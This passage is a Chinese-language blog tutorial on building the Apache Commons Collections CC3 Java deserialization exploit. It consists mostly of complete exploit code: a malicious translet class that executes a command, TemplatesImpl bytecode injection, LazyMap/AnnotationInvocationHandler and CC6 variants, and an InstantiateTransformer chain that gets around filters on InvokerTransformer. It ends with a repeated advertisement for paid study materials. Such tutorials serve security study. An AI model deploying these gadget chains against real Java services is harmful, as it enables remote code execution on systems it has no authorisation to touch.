throw new RuntimeException(e);
}
}
}
然后编译成 .class字节码文件

正常来说我们运行exp代码会弹窗,但是报错提示出现了空指针错误

来到393行进行断点调试

一直按F8断点调试来到这里,可以看见前面的类加载成功了。

这个代码的主要意思是:
* 获取这个加载类的类名,如果类包含 AbstractTranslet这个类,就会来到下面的else代码段,所以我们才显示空指针。
我们可以让加载的类继承AbstractTranslet这个类就好了,继承类之后还要重写方法,最后变成以下代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(“calc”);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
重写编译成字节码文件,最后运行exp代码,可以看见命令执行成功

现在已经完成了一半条链了。
### CC3链=CC1前半段链+Templateslmpl类利用链
实际上链子的完整利用前半段一样只是后半段不一样

CC1链唯一修改的地方是这里:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)
};
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("\_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("\_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("\_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
}
可以看见命令执行成功

最后直接放入剩下的CC1前半链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.awt.event.ItemListener;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("\_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("\_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("\_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
//转InvocationHandler类型是为了能够调用处理程序实现的接口
InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
反序列化代码后命令执行成功

### 代替InvokerTransformer类链
当服务过滤了这个InvokerTransformer类的时候,我们可以选择其他类代替,作为链子的一部分。

我们可以寻找调用 newTransformer 方法的类的方法

可以看见这里调用了newTransformer()方法

但是由于 TrAXFilter 类并没有继承 序列化接口,所以它不能够进行序列化。需要 TrAXFilter 类的class才可以。
CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。

* 第一个if判断传进来的参数是否是 Class类型
* 然后获取它的指定参数类型的构造器,然后调用它的构造方法
从而构造这个exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("\_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("\_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("\_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行后可以看见成功调用了 TrAXFilter类的 TrAXFilter方法,且命令执行成功

完整版exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("\_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("\_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
// Field tfactory = c.getDeclaredField(“_tfactory”);
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
//转InvocationHandler类型是为了能够调用处理程序实现的接口
InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
主要是修改了这段代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
实际上可以删除这段代码也可以运行,因为反序列化的时候readObject方法会自动复制\_tfactory的变量都是一样的
Field tfactory = c.getDeclaredField(“_tfactory”);
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
最后运行代码,可以发现命令执行成功

### CC6配合CC3的链
原理是CC6的:CC1+URLDNS反射,这里我们加到CC3里,也可以利用
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("\_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("\_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("\_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
hashMap.put(tiedMapEntry,null);
hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-uA3qOIEm-1715501499627)]
[外链图片转存中…(img-F62MT8dF-1715501499628)]
[外链图片转存中…(img-kKfirGZr-1715501499628)]
[外链图片转存中…(img-B1ijJ0DV-1715501499628)]
[外链图片转存中…(img-GDfthONy-1715501499629)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!